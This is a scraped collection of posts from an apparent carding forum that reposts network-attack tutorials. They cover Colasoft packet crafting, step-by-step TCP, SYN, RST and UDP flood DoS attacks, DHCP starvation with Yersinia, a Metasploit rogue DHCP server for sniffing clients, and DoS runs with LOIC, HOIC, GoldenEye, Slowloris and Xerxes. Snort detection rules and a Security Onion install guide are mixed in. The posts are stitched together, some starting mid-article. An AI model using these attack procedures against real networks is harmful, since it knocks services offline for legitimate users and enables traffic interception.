Since we want to send traffic through only reset packets for establishing a connection with the target network, therefore, enable the checkbox of Reset connect.
[Image: 9.png?w=687&ssl=1]

Click on play button given in menu bar for sending the packet on target’s network which is part of Packet playing mode.
From given below image you can observe the result “Packet sent successfully”
[Image: 10.1.png?w=687&ssl=1]

Hence from given below image, you can observe that Wireshark has captured exactly the same information which we had a bind in the packet during packet Assembly and packet Editing modes such as TCP protocol and TCP-RST packet.
[Image: 10.png?w=687&ssl=1]

TCP-PSH/ACK Packet Crafting
So the Packet Assembly phase and Packet Editing phase for TCP–PSH/ACK packet crafting is almost same as above only the difference is made in change TCP-Flag through which connection will be established with target network.
Since we want to send traffic through only Push with Acknowledgement packets for establishing a connection with the target network, therefore, enable the checkbox of PUSH Function and Acknowledgement.
[Image: 12.png?w=687&ssl=1]

Hence from given below image, you can observe that Wireshark has captured exactly the same information which we had a bind in the packet during packet Assembly and packet Editing mode such as TCP protocol and TCP-PSH/ACK packet.
[Image: 13.png?w=687&ssl=1]

UDP Packet Crafting
Similarly as above in Packet Assembly phase, we need to decide protocol for crafting UDP packet, enable the radio button for selecting protocol and direction flow of packet. Here I had enabled radio buttons for “IPv4” and “UDP” without disturbing remaining default packet flow as shown given below image.
[Image: 14.png?w=687&ssl=1]

Move into Protocol view section for Packet Editing and enter source and destination IP. I had added source and destination IP in the packet under the third section protocol view -> Ipv4 as done above.
[Image: 15.1.png?w=687&ssl=1]

Now explore the UDP tab for design UDP packets as per your requirement, from given below image you can observe default setting details.
Source port: 00000
Destination port: 00000
Now the UDP traffic will flow from source port 0 to destination port 0.
[Image: 15.png?w=687&ssl=1]

From given below image you can observe that Wireshark has captured exactly same information which we had a bind in the packet during packet Assembly and packet Editing mode such as UDP protocol and from source port 0 to destination 0 of 60 lengths.
[Image: 16.png?w=687&ssl=1]

[Guide] How to DOS Attack with Packet Crafting using Colasoft

Posted by: NINZA - 05-14-2020, 06:43 AM - Forum: Carders Home - No Replies

In our previous article we had discussed “

[To see content please register here]

” and today you will DOS attack using colasoft Packet builder. In

[To see content please register here]

we had used Hping3 in Kali Linux for generating TCP, UDP, SYN, FIN and RST traffic Flood for DOS attack on target’s network. Similarly, we are going to use colasoft for all those attacks by making a change in their data size of packets and time elapse between packets.
Let’s start!!!
TCP DOS Attack
You can download it from given

[To see content please register here]

, once it gets downloaded then run the application as an administrator to begin the DOS attack.
Click on ADD given in menu bar.
[Image: 0.png?w=687&ssl=1]

A small window will pop up to select the mode of attack here we are going to choose TCP packet for generating TCP packet flood on the target’s network. Well if you will notice given below image then you will observe that I had set delta time 0.1 sec as time elapses for the flow of traffic for all packets. This is because as much as the time elapsed will be smaller as much as packet will be sent faster on the target’s network.
[Image: 1.png?w=687&ssl=1]

in the window are categories into three phases as Decode Editor, Hex Editor, and packet List. From the given image you can observe the following information which I had edited for TCP packet
Decode Editor: This section contains packet information such as protocol, Time to live and etc. Here you need to add source address responsible for sending a packet and then add destination address which is responsible for receiving incoming packet traffic.

Source address: 192.168.1.102
Destination address: 192.168.1.107

Hex Editor: This section displays the raw information (Hexadecimal) related to the data size of the packet. By typing a random string you can increase the data length of the packet.
Packet size: 112 bytes
[Image: 2.png?w=687&ssl=1]

Packet List: It displays complete information of your packet which contains a source address and destination address, time to live and other information which we had edited.
[Image: 3.png?w=687&ssl=1]

Click on Adapter given in menu bar to select specific adapter for DOS attack. From given below image you can observe it showing adapter status: LAN Operational.
Note: It is only available when you have run the application as administrator.
[Image: 4.png?w=687&ssl=1]

Click on Send option from the menu bar and enable the checkbox for “Burst Mode” and “Loop sending” and adjust its size according to your wish.
Then click on start to launch the TCP packet for DOS attack.
[Image: 5.png?w=687&ssl=1]

Using Wireshark we can capture packet and traffic between source and destination. So here you can perceive that infinite TCP packet is being transferred on target’s network after some time it will demolish the victim’s machine so that victim could not able to reply any legitimate request of other users.
[Image: 7.png?w=687&ssl=1]

TCP SYN DOS Attack
Again repeat the same to choose TCP packet for generating TCP SYN flood on target’s network. Well if you will notice given below image again then you will observe that I had set same delta time 0.1 sec.
[Image: 8.png?w=687&ssl=1]

You, people, must aware of TCP-SYN Flood attack so in order to generate only SYN packet traffic, activate the TCP flag for synchronizing sequence by changing bit form 0 to 1.
Hence this time I had set below information in decoder Editor and Hex editor.

Source address: 192.168.1.102
Destination address: 192.168.1.107
Flag: SYN
Packet size: 115 bytes

And repeat above step of TCP flood to begin the attack.
Click on Send option from the menu bar and enable the checkbox for “Burst Mode” and “Loop sending” and adjust its size according to your wish.
Then click on start to launch the TCP packet for DOS attack.
[Image: 12.png?w=687&ssl=1]

You can clearly observe the flow of traffic of SYN packet from attacker network to targets network after some time it will demolish the victim’s machine so that victim could not able to reply any legitimate request of other users.
[Image: 14.png?w=687&ssl=1]

TCP RST DOS Attack
Again repeat the same to choose TCP packet for generating TCP Reset flood on target’s network. If you will notice given below image then you will observe that again I had set delta time 0.1 sec this is because as much as the time elapsed will be smaller as much as packet will be sent faster on target’s network.
[Image: 15.png?w=687&ssl=1]

You, people, must aware of TCP-RST Flood attack so in order to generate only Reset packet traffic, activate the TCP flag for Reset the connection by changing bit form 0 to 1.
Hence this time I had set below information in decoder Editor and Hex editor.

Source address: 192.168.1.102
Destination address: 192.168.1.107
Flag: Reset
Packet size: 104 bytes

After then repeat the above step to begin the attack.
Click on Send option from the menu bar and enable the checkbox for “Burst Mode” and “Loop sending” and adjust its size according to your wish.
Then click on start to launch the TCP packet for DOS attack.
[Image: 19.png?w=687&ssl=1]

You can clearly observe the flow of traffic of RST packet from attacker network to targets network after some time it will demolish the victim’s machine so that victim could not able to reply any legitimate request of other users.
[Image: 21.png?w=687&ssl=1]

UDP DOS Attack
Again repeat the same to choose UDP packet for generating TCP flood on the target’s network. If you will notice given below image then you will observe that again I had set delta time 0.1 sec as time elapses for the flow of traffic for all packets.
[Image: 22.png?w=687&ssl=1]

This time I had set below information in decoder Editor and Hex editor.

Source address: 192.168.1.102
Destination address: 192.168.1.107
Source port: 80
Packet size: 113bytes

After editing your packet information verifies that changes through packet list are given on the right side of the window before launching an attack.
[Image: 24.png?w=687&ssl=1]

Click on Adapter to select specific adapter for DOS attack. From given below image you can observe it showing adapter status: LAN Operational.
[Image: 25.png?w=687&ssl=1]

Click on Send option from the menu bar and enable the checkbox for “Burst Mode” and “Loop sending” and adjust its size according to your wish.
Then click on start to launch UDP packet for DOS attack.
[Image: 26.png?w=687&ssl=1]

You can clearly observe in given below image the flow of traffic of UDP packets from attacker network to targets network after some time it will demolish the victim’s machine so that victim could not able to reply any legitimate request of other users.
[Image: 30.png?w=687&ssl=1]

In this tutorial, we are going to discuss Packet Crafting by using a great tool Colasoft packet builder which is quite useful in testing the strength of Firewall and IDS and several servers against malicious Flood of network traffic such as TCP and UDP Dos attack. This tool is very easy to use especially for beginners.
Packet crafting is a technique that allows network administrators to probe firewall rule-sets and find entry points into a targeted system or network. This is done by manually generating packets to test network devices and behavior, instead of using existing network traffic. Testing may target the firewall, IDS, TCP/IP stack, router or any other component of the network. Packets are usually created by using a packet generator or packet analyzer which allows for specific options and flags to be set on the created packets. The act of packet crafting can be broken into four stages: Packet Assembly, Packet Editing, Packet Play, and Packet Decoding.
For more detail visit Wikipedia.org
Mode of Operation
Packet Assembly: It is the initial state of packet crafting where tester needs to decide the network that can be compromised easily by creating a packet which can exploit the network by shooting its vulnerability. The packet should be designed in a manner that it maintains its ability to be undetectable in the target’s network.
Famous Tools for Packet Assembly are: Hping3 and Yersinia
Packet Editing: In this stage captured packet is edited or modified which cannot be possible to do in Packet Assembly phase. In this phase, the packet is edited in a manner that it can dump more and more information about the target’s network by making a small amount of change in it. For example, change data length (payload) of packets.
Famous Tool of packet Editing: Colasoft and Scapy
Packet Playing: In this phase when the packet is ready to launch then it sends to target’s network for exploiting its network and collect the information. This is the actual arena where above both actions is tested and if the packet is failed to complete its goal of retrieving victim’s information or exploit its vulnerability then again the packet send back to Packet Editing phase for modification.
Packet Analysis: This is the last stage where the packet is analysis when it received on the targeted network. The captured packet is decoded for further investigating for retrieving its internal details which can speak up its goal for establishing a connection on the target’s network.
Famous Tool of Packet Analysis: Wireshark and Tcpdump
Colasoft Packet Builder enables creating custom network packets; users can use this tool to check their network protection against attacks and intruders. Colasoft Packet Builder includes a very powerful editing feature. Besides common HEX editing raw data, it features a Decoding Editor allowing users to edit specific protocol field values much easier.
Users are also able to edit decoding information in two editors – Decode Editor and Hex Editor. Users can select one from the provided templates Ethernet Packet, ARP Packet, IP Packet, TCP Packet, and UDP Packet, and change the parameters in the decoder editor, hexadecimal editor or ASCII editor to create packets. Any changes will be immediately displayed in the other two windows. In addition to building packets, Colasoft Packet Builder also supports saving packets to packet files and sending packets to the network.
From:

[To see content please register here]

Let’s start!!!
TCP Packet Crafting
You can download it from the above-given link, once it gets downloaded then run the application as an administrator, to begin with crafting various Packets. As I had an example above a packet crafting involves 4 phases, let’s start it by adding the packet which we will craft for testing our network.
Click on ADD given in menu bar.
[Image: 0.png?w=687&ssl=1]

A small window will pop up to select the mode of IP packet to be crafted. Here we are going to choose TCP packet for crafting for example by increasing the size of the packet or by sending the individual flag of the Tcp Protocol to the destination IP address. Well if you will notice given below image then you will observe that I had set delta time 0.1 sec as time elapses for the flow of traffic for all crafted packets. The delta time is the time gap between each packet.
[Image: 1.png?w=687&ssl=1]

Window is categories into three phases as Decode Editor, Hex Editor, and packet List. From the given image you can observe the following information which I had edited for TCP packet
Decode Editor: This section contains packet information such as protocol, Time to live and etc. Here you need to add source address responsible for sending a packet and then add destination address which is responsible for receiving incoming packet traffic.

Source address: 192.168.1.102
Destination address: 192.168.1.107

Hex Editor: This section displays the raw information (Hexadecimal) related to the data size of the packet. By typing a random string you can increase the size of the packet.
Packet size: 77 bytes
This phase is also known as Packet Editing mode where we can modify our packet.
[Image: 2.png?w=687&ssl=1]

Packet List: It displays complete information of your packet which contains a source address, destination address, time to live and other information which we had edited.
[Image: 3.png?w=687&ssl=1]

Click on Adapter given in the menu bar to select a specific adapter from which packets will be sent. From given below image you can observe it, it showing adapter status: LAN Operational.
Note: It is only available when you have run the application as administrator.
[Image: 4.png?w=687&ssl=1]

Click on Send option from the menu bar and enable the checkbox for “Burst Mode” and “Loop sending” and adjust the number of packets to be sent to the Destination Network and the delay time gap between each packet.
Then click on start to send the TCP packets. This phase is known as Packet playing mode where are ready to the sent packet on the target network.
[Image: 5.png?w=687&ssl=1]

Using Wireshark we can capture packet and traffic between source and destination. So here you can perceive that infinite TCP packet is being transferred to target’s network. This phase is known as packet analysis mode where the sent packet is sniff or analysis for identifying sender objectives behind sending the packet.
[Image: 6.png?w=687&ssl=1]

ARP Packet Crafting
Again repeat the same to choose ARP packet for crafting Packet for ARP protocol on the target’s network. Well if you will notice given below image again then you will observe that I had set same delta time 0.1 sec.
[Image: 7.png?w=687&ssl=1]

Apart from editing source and destination IP here we need to add source and destination physical address also.
Hence this time I had set below information in decoder Editor and Hex editor.

Source MAC: AA:AA:AA:AA:AA:AA
Source address: 192.168.1.102
Destination MAC: BB:BB:BB:BB:BB:BB
Destination address: 192.168.1.107
Packet size: 78 bytes

You can use any method to find the destination MAC address.
[Image: 11.png?w=687&ssl=1]

After editing your packet information verifies that changes through packet list are given on the right side of the window before sending the packet. If you notice given image below then you can read the summary where it is show broadcasting ARP message who is 192.168.1.107?
[Image: 12.png?w=687&ssl=1]

Click on Adapter given in menu bar to select specific adapter for network selection. From given below image you can observe it showing adapter status: LAN Operational.
[Image: 13.png?w=687&ssl=1]

Click on Send option from the menu bar and enable the checkbox for “Burst Mode” and “Loop sending” and adjust the number of packets to be sent to the Destination network according to your wish.
Then click on start to launch the sending process of ARP packet. This action is known as Packet playing.
[Image: 14.png?w=687&ssl=1]

From the given image below you can observe the continue ARP packet making a request for who is 192.168.1.107, which meaning our packet playing is given a positive result. From Wireshark target is able to analysis the goal of the packet received from the sender’s network.
[Image: 16.png?w=687&ssl=1]

IPv4 Packet Crafting
Again repeat the same process to choose IP packet for crafting Packet for IPv4 protocol on the target’s network. Again if you will notice given below image again then you will observe that I had set same delta time 0.1 sec.
[Image: 17.png?w=687&ssl=1]

This time I had set below information in decoder Editor and Hex editor for Editing Packet.

Source address: 192.168.1.102
Destination address: 192.168.1.107
Packet size: 71 bytes

After editing your packet information verifies that changes through packet list are given on the right side of the window before sending the packet.
[Image: 19.png?w=687&ssl=1]

Click on Adapter given in menu bar to select specific adapter for sending the packet. From given below image you can observe it showing adapter status: LAN Operational.
[Image: 20.png?w=687&ssl=1]

You can clearly observe in given below image the flow of traffic of IPv4 packets from senders network to Receivers network in packet analyzing mode.
[Image: 23.png?w=687&ssl=1]

UDP Packet Crafting
Again repeat the same to choose UDP packet for crafting UDP Packet. If you will notice given below image then you will observe that again I had set delta time 0.1 sec as time elapses for the flow of traffic for all packets.
[Image: 24.png?w=687&ssl=1]

This time I had Edited below information in decoder Editor and Hex editor for designing my packet.
Source address: 192.168.1.102
Destination address: 192.168.1.107
Packet size: 72 bytes
[Image: 25.png?w=687&ssl=1]

After editing your packet information verifies that changes through packet list are given on the right side of the window.
[Image: 26.png?w=687&ssl=1]

Click on Adapter to select specific adapter for sending the packets. From given below image you can observe it is showing adapter status: LAN Operational.
[Image: 27.png?w=687&ssl=1]

Click on Send option from the menu bar and enable the checkbox for “Burst Mode” and “Loop sending” and adjust the number of packets to be sent to the Destination network according to your wish.
Then click on the start button to sending the crafted UDP packet.
[Image: 28.png?w=687&ssl=1]

You can clearly observe in given below image the flow of traffic of UDP packets from senders network to the Receivers network.
Hence in this tutorial, we tried to explain all for the mode of operation of crafting a packet for testing a network using colasoft and Wireshark.
[Image: 30.png?w=687&ssl=1]

DHCP stands for Dynamic Host Configuration Protocol and a DHCP server dynamically assigns an IP address to enable hosts (DHCP Clients). Basically, the DHCP server reduces the manual effort of the administrator of configuring the IP address in client machine by assigning a valid IP automatically to each network devices. A DHCP is available for distributing IP address of any Class among A B C D E basis on their netmask description which means it is applicable even for a small network or a huge network.
DHCP uses UDP as its transport protocol. The client sends messages to the server on port 67 and the server sends messages to the client on port 68.
There are three mechanisms used to assign an IP address to the client. They are:

Automatic allocation – DHCP assigns a permanent IP address to a client
Manual allocation – Client’s IP address is assigned by the administrator, DHCP conveys the address to the client.
Dynamic allocation– DHCP assigns an IP address to the client for a limited period of time (lease).

Mode of Operation DHCP server and DHCP Client

DHCP Discover: DHCP client broadcast a DHCP discover message to DHCP server for an IP address lease request through subnet mask for e.g. 255.255.255.255.
DHCP Offer: DHCP server receives DHCP Discover message for an IP address lease from DHCP client and reserve IP for it and sends DHCP OFFER message to DHCP Client for IP lease.
DHCP Request: DHCP client broadcast a message to DHCP server for acceptance of IP by receiving Offered IP packets and make DHCP request for IP parameter configuration.
DHCP Acknowledgment: DHCP server receives DHCP client request for IP configuration process and as responds DHCPACK message sent to the client with committed IP address and its configuration and with some additional information such lease time of offered IP.
DHCP Release: DHCP client sends a DHCP Release packet to the DHCP server to release the IP address.

DHCP Starvation Attack
A DHCP starvation attack may also categories as DHCP DOS attack where the attacker broadcasting fake DHCP requests with spoofed MAC addresses. If official replies to this fake request then it can exhaust the address space available to the DHCP servers for a period of time. This can be performed by using attacking tools such as “Yersinia”.
Now the attacker may place the rouge server in the network and respond to new DHCP requests from clients.
in given below image you can observe that by executing given command we discovered bind hardware with our official router. Here we had used CISCO router for DHCP penetration testing.
ip dhcp binding
1
ip dhcp binding
[Image: 2.png?w=687&ssl=1]

Launch DHCP Starvation Attack using Yersinia
Yersinia is a network tool designed to take advantage of some weakness in different network protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems.
Currently, yersinia supports:

Spanning Tree Protocol (STP)
Cisco Discovery Protocol (CDP)
Dynamic Trunking Protocol (DTP)
Dynamic Host Configuration Protocol (DHCP)
Hot Standby Router Protocol (HSRP)
IEEE 802.1Q
IEEE 802.1X
Inter-Switch Link Protocol (ISL)
VLAN Trunking Protocol (VTP)

From

[To see content please register here]

By default in Kali Linux installed yersinia is available for DHCP penetration testing, open the terminal and execute given command which will open yersinia in GUI mode as shown in given below image.
yersinia -G
1
yersinia -G
[Image: 3.png?w=687&ssl=1]

You will observe few tabs in the menu bar click on launch attack; a small window will pop up for choosing the protocol for attack here we had select DHCP, now enable the option for sending DISCOVER packet.
[Image: 4.png?w=687&ssl=1]

Now it will start sending a Discover packet to the router for release IP for each of its fake Discover messages as shown in the given image.
[Image: 5.png?w=687&ssl=1]

From given below image you can observe Wireshark has captured the DHCP packet where the attacker machine as source 0.0.0.0 is broadcasting DISCOVER message to Destination on 255.255.255.255. This is DHCP starvation attack which also considered as DHCP Dos attack because its send Discover message infinitely in the network to block the responded server for another genuine request from another DHCP client.
[Image: 6.png?w=687&ssl=1]

Now when again you will check our router IP table then you will observe that all IP is allocated on some different-different Hardware address as shown in given below image.
[Image: 7.png?w=687&ssl=1]

Rogue DHCP Server
A rough DHCP server is a forged server of attacker which is placed in a local network for stealing information that is being shared among several clients. After DHCP starvation attack, the official DHCP server is unable to Offer IP to DHCP client. Therefore when a client releases its old IP and requests new IP by broadcasting DHCP Discover message than rough server offers an IP as the response to the DHCP client and hence Client request for IP configuration from the fake server and get trap into the fake network. Now if the client is transferring any information over the fake network that can easily sniff by the rough server.
[Image: 8.1.png?w=687&ssl=1]

in below image, you check attacker’s machine IP is 192.168.1.104 which will reflect as DNS address in victim’s machine (Windows’s).
[Image: 8.png?w=687&ssl=1]

Now open the terminal and type “msfconsole” for Metasploit framework and execute given below commands which will create your Rouge server in the network.
use auxiliary/server/dhcp
msf auxiliary(dhcp) >set srvhost 192.168.1.104
msf auxiliary(dhcp) >set netmask 255.255.255.0
msf auxiliary(dhcp) >set DHCPIPSTART 192.168.1.200
msf auxiliary(dhcp) >set DHCPIPEND 192.168.1.205
msf auxiliary(dhcp) >exploit
1
2
3
4
5
6
use auxiliary/server/dhcp
msf auxiliary(dhcp) >set srvhost 192.168.1.104
msf auxiliary(dhcp) >set netmask 255.255.255.0
msf auxiliary(dhcp) >set DHCPIPSTART 192.168.1.200
msf auxiliary(dhcp) >set DHCPIPEND 192.168.1.205
msf auxiliary(dhcp) >exploit
If you perceive above command then you will find that it will Start DHCP service and behave like a DHCP server which will offer Class C IP to official DHCP client from specified pool between 192.168.1.200 to 192.168.1.205.
Now turn on any another system in the network and check its IP configuration.
[Image: 9.png?w=687&ssl=1]

Let’s study the given image where the attack is broadcasting Offer packet in the network and then in the 2nd packet we saw DHCP ACK which means some DHCP client ask for offered IP configuration then we can see DNS query send from an IP 192.168.1.202 to 192.168.1.104.
[Image: 10.png?w=687&ssl=1]

in given below image you can observe that 192.168.1.202 IP is allocated to Ubuntu which is an official DHCP client. Now if the client is transferring any information over the fake network that can easily sniff by the rough server. For detail read our previous article “

[To see content please register here]

”

In our previous “DOS Attack Penetration testing” we had described several scenarios of DOS attack and receive alert for Dos attack through snort. DOS can be performed in many ways either using a command line tool such as Hping3 or GUI based tool. So today you will learn how to Perform Dos attack using GUI tools as well as a command line tool and get an alert through snort.
Let start!!
TCP Flood Attack using LOIC
As we have described in our both article Part 1 and part 2 that in target system Snort is working as NIDS for analyzing network traffic packets. Therefore first we had built a rule for in snort to analysis random TCP packets coming in our network rapidity.
Execute given below command in ubuntu’s terminal to open snort local rule file in text editor.
sudo gedit /etc/snort/rules/local.rules
alert TCP any any -> 192.168.1.10 any (msg: "TCP Flood"; sid:1000001 Wink

1
2
sudo gedit /etc/snort/rules/local.rules
alert TCP any any -> 192.168.1.10 any (msg: "TCP Flood"; sid:1000001 Wink

The above rule will monitor incoming TCP packets on 192.168.1.10 by generating alert for it as “TCP Flood”. Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 1.png?w=687&ssl=1]

LOIC: It stands for low Orbit iron cannon which is a GUI tool developed by Praetox Technologies which is a network stress testing tool. We had used it only for educational purpose in our local network, using it over public sector will consider as crime and take an illegal job. Download it from Google.
We had downloaded LOIC in our Windows system run the setup file for installation. Start the tool follow the given below step:

Select your target: Here we will go with IP option and enter the victims IP: 192.168.1.10 then click on Lock on the tab.
Attack Option: Enter port no. and select method such as TCP and enter no. of threads. If you want to wait for a reply packet from the victim’s network then enable the checkbox else to disable it.
Adjust the scale: Drawn the cursor left or right for setting the speed of your TCP packet either faster or slower mode.
Attack status: describe the attack state such as connecting or request or etc.
Ready: Now click on IMMA CHARGIN MAH LAZER to launch the DOS attack and click on stop flood In order to stop DOS attack.

We are involving Wireshark in this tutorial so that you can clearly see the packet sends from an attacker network to targets network. Hence in given below image, you can notice endless TCP packet has been sent on target’s network. It is considered as Volume Based DOS Attack which floods the target network by sending infinite packets to demolish its network for other legitimate users.
[Image: 3.png?w=687&ssl=1]

Return to over your target machine where you will notice that snort is exactly in same way capturing all incoming traffic, here you will observe that it is generating alerts for “TCP Flood”. Hence you can block the attacker’s IP (192.168.1.16) to protect your network from discard all further coming packets toward your network.
[Image: 4.png?w=687&ssl=1]

UDP Flood Attack using LOIC
I think now everything is clear to you how you can build rule in snort get alert for the suspicious network again repeat the same and execute given below command in ubuntu’s terminal to open snort local rule file in text editor and add a rule for UDP flood.
sudo gedit /etc/snort/rules/local.rules
alert UDP any any -> 192.168.1.10 any (msg: "UDP Flood"; sid:1000003 Wink

1
alert UDP any any -> 192.168.1.10 any (msg: "UDP Flood"; sid:1000003 Wink

The above rule will monitor incoming UDP packets on 192.168.1.10 by generating alert for it as “UDP Flood”. Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
[Image: 5.png?w=687&ssl=1]

Repeat the whole steps as done above only change the method attack option to choose UDP method and launch the DOS attack on target IP. You can set any set number of threads for attack since it is tutorial, therefore, I had set 20 for UDP. It is considered as Volume Based DOS Attack which floods the target network by sending infinite packets to demolish its network for other legitimate users.
[Image: 6.png?w=687&ssl=1]

Return to over your target machine where you will observe that snort is precisely capturing all incoming traffic in the same way, here you will observe that it is generating alerts for “UDP Flood”. Hence again you can block the attacker’s IP (192.168.1.16) to protect your network from discard all further coming packets toward your network on port 80.
[Image: 7.png?w=687&ssl=1]

TCP Flood Attack using HOIC
Next, we are using HOIC which is also a GUI tool for tcp attack and if you remember we had already configured TCP flood rule in our local rule file. Now turn on IDS mode of snort by executing given below command in terminal:
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
1
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
HOIC: It stands for higher orbit ion cannon developed by Praetox Technologies which is a network stress testing tool. We had used it only for educational purpose in our local network, using it over public sector will consider as crime and take an illegal job. Download it from Google.
We had downloaded HOIC in our Windows system run the setup file for installation. Start the tool follow the given below step:
Add the target by making Click on plus symbol “+”
[Image: 9.png?w=687&ssl=1]

A list of attack option will get pop up as shown in the given below image and follow the given below step:
URL: Enter your target network address as

[To see content please register here]

Power: Low/medium/high to decide the speed of packet to bent to the target machine.
At last click on Add.
[Image: 10.png?w=687&ssl=1]

From give below image you can check the status of attack “ready”, now set number of threads and then click on FIRE THE LAZER tab to lunch the dos attack.
[Image: 11.png?w=687&ssl=1]

You can clearly observe the TCP packet is sending from the attacker network to targets network. In given below image you can notice the endless TCP packet has been sent on target’s network using TCP Flags such as SYN/RST/ACK. It is considered as Volume Based DOS Attack which floods the target network by sending infinite packets to demolish its network for other legitimate users.
[Image: 12.png?w=687&ssl=1]

Return to over your target machine where you will notice that snort is capturing all incoming traffic exactly in same way as above, here you will observe that it is generating alerts for “TCP Flood”. Hence you can block the attacker’s IP (192.168.1.11) to protect your network from discard all further coming packets toward your network on port 80.
[Image: 13.png?w=687&ssl=1]

GoldenEye
Goldeneye is a command line tool used for security testing purpose we had used only for tutorial don’t use it over public sector it will consider as crime and take an as an illegal job. Execute given below in your Kali Linux to download it from GitHub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Now give all permission to the python script and execute given below command for Launching a DOS attack on the target network. Basically, Goldeneye is used for HTTP dos testing for testing any web-server network security.
./goldeneye.py

[To see content please register here]

1
./goldeneye.py

[To see content please register here]

Using Wireshark you can observe the flow of traffic between victim and attacker network. So if notices were given below image then you will find that first attacker (192.168.1.103) sends TCP syn packet for establishing a connection with victim’s network then the attacker is sending http packet over victim’s network.
[Image: 22.png?w=687&ssl=1]

Here you will observe that it is generating alerts for “TCP Flood” since the port is 80 follow TCP protocol, therefore, snort captured the traffic generated by goldeneye. Hence you can block the attacker’s IP (192.168.1.103) to protect your network from discard all further coming packets toward your network on port 80.
[Image: 23.png?w=687&ssl=1]

Slowloris
Slowloris is a command line tool used for security testing purpose we had used only for tutorial don’t use it over public sector it will consider as crime and take an illegal job. Execute given below in your Kali Linux to download it from GitHub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Now give all permission to the Perl script and execute given below command for Launching the DOS attack on the target network.
perl slowloris.pl -dns 192.1681.10
1
perl slowloris.pl -dns 192.1681.10
[Image: 25.png?w=687&ssl=1]

Using Wireshark you can observe the flow of traffic between victim and attacker network. So if notices were given below image then you will find that first attacker (192.168.1.103) sends TCP syn packet for establishing a connection with victim’s network then victim’s is sending SYN, ACK packet over attacker’s network and then attacker sends ACK packet and this will keep on looping.
[Image: 26.png?w=687&ssl=1]

Xerxes
Xerxes is a command line tool used for security testing purpose we had used only for tutorial don’t use it over public sector it will consider as crime and take an as the illegal job. Execute given below in your Kali Linux to download it from GitHub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Since it is written in c language there we need to compile it using gcc as shown in given below command and run then run the script in order to launch DOS attack.
gcc xerxes.c -o xerxes
./xerxes 192.168.1.10 80
1
2
gcc xerxes.c -o xerxes
./xerxes 192.168.1.10 80
[Image: 29.png?w=687&ssl=1]

You can clearly observe the TCP packet is sending from the attacker network to targets network. In given below image you can notice the endless TCP packet has been sent on target’s network using TCP Flags such as SYN/ACK/PSH. These packets are sent in a loop between the attacker can target network.
[Image: 30.png?w=687&ssl=1]

[Guide] How to Security Onion Configuration in VMware

Posted by: NINZA - 05-14-2020, 05:33 AM - Forum: Carders Home - No Replies

Security Onion is a Linux distro for intrusion detection, network security monitoring, and log management. It’s based on Ubuntu and contains Snort, Suricata, Bro, OSSEC, Sguil, Squert, ELSA, Xplico, NetworkMiner, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes!
Security Onion effortlessly merges collectively two main roles i.e. complete packet capture another Network-based [NIDS] and host-based intrusion detection systems [HIDS].
There is some Analysis tool are available that also work as a real-time program by capturing network packets.
NIDS: Snort or Suricata and Bro as network intrusion detection for fingerprints and identifiers that contest identified malicious, abnormal otherwise suspicious traffic.
HIDS: Security Onion offers OSSEC for host-based intrusion detection.
Sguil: It is the crucial Security Onion tool for network security analysts. Sguil’s main component is an intuitive GUI that gives access to real-time events, session data, and raw packet captures.
Squert: It is a web application that is used to query and view event data stored in a Sguil database.
ELSA: Enterprise Log Search and Archive is a three-tier log receiver, archiver, indexer, and web frontend for incoming syslog.
For more details visit

[To see content please register here]

Let’s start!!
Create VM for Security Onion installation
Open VMware, select option “creates new virtual machine”, now for install from wizard select second option:
Install the disc image file in order to browse the iso file of security onion.
Then click on next.
[Image: 1.PNG?w=687&ssl=1]

Now select 2nd option “Linux” for the guest operating system and select version “Ubuntu”. Then click on next and next as per your requirements.
[Image: 2.PNG?w=687&ssl=1]

Explore custom hardware for making the following changes:
Select bridges connection and enable the checkbox for replicate connection for network adapter setting. Similarly, add one more network adapter and also select bridges connection for the 2nd adapter
Then click on finish.
[Image: 5.PNG?w=687&ssl=1]

Installation
It will start booting the VM automatically, now for SECURITY ONION
[Image: 6.PNG?w=687&ssl=1]

At welcome screen; Select language and click “Continue”. Here we have chosen English as the preferred language.
[Image: 7.PNG?w=687&ssl=1]

Read the content and then click on “Continue”.
[Image: 8.PNG?w=687&ssl=1]

Choose the radio button for “Erase the disk and install Security Onion” to begin installation and click “Install Now”
[Image: 9.PNG?w=687&ssl=1]

Click on “Continue” then it will proceed for disk partitions.
[Image: 10.PNG?w=687&ssl=1]

Check your location, without holdup, select your time zone and then click on “Continue”.
[Image: 12.PNG?w=687&ssl=1]

Choose keyboard layout “English (US)” and then click on “Continue”.
[Image: 13.PNG?w=687&ssl=1]

Now create your profile by giving your detail as given below:

Enter your name: Ignite
Enter your computer’s name: Ignite-pc
Select a username: Ignite
Enter a password: 1234

Click “Continue”
[Image: 14.PNG?w=687&ssl=1]

Now it may take some time in installation, but after that when installation is complete. Click “Restart Now” for a new installation.
[Image: 15.PNG?w=687&ssl=1]

Security onion configuration 1st part
In order to configure security onion as a real-time system for NIDS and HIDS, we have divided configuration setting into two parts.
Now enter your username and password for login as shown in given below image.
[Image: 16.PNG?w=687&ssl=1]

At Desktop screen you have can see setup icon; click on “setup” icon for configuration of the network interface.
[Image: 17.1.png?w=687&ssl=1]

Configure 1st network adapter for the management interface
Click on “setup” icon present at the desktop to configure security onion on your system.
Click “Yes, Continue”
[Image: 17.PNG?w=687&ssl=1]

Click “Yes” to configure /etc/network/interface now as shown in given below image.
[Image: 18.PNG?w=687&ssl=1]

Choose eth0 as network interface should be the management interface as shown in given below image.
[Image: 19.PNG?w=687&ssl=1]

Choose Static addressing for eth0 utilization as shown in given below image.
[Image: 20.PNG?w=687&ssl=1]

Enter a static IP for your management interface as shown in the given image.
[Image: 21.PNG?w=687&ssl=1]

Enter subnet mask of for static addressing as shown in given below image.
[Image: 22.PNG?w=687&ssl=1]

Enter gateway as shown in given below image.
[Image: 23.PNG?w=687&ssl=1]

Enter DNS server IP it can be 192.168.1.1 or 8.8.8.8 or can be both separated by spaces.
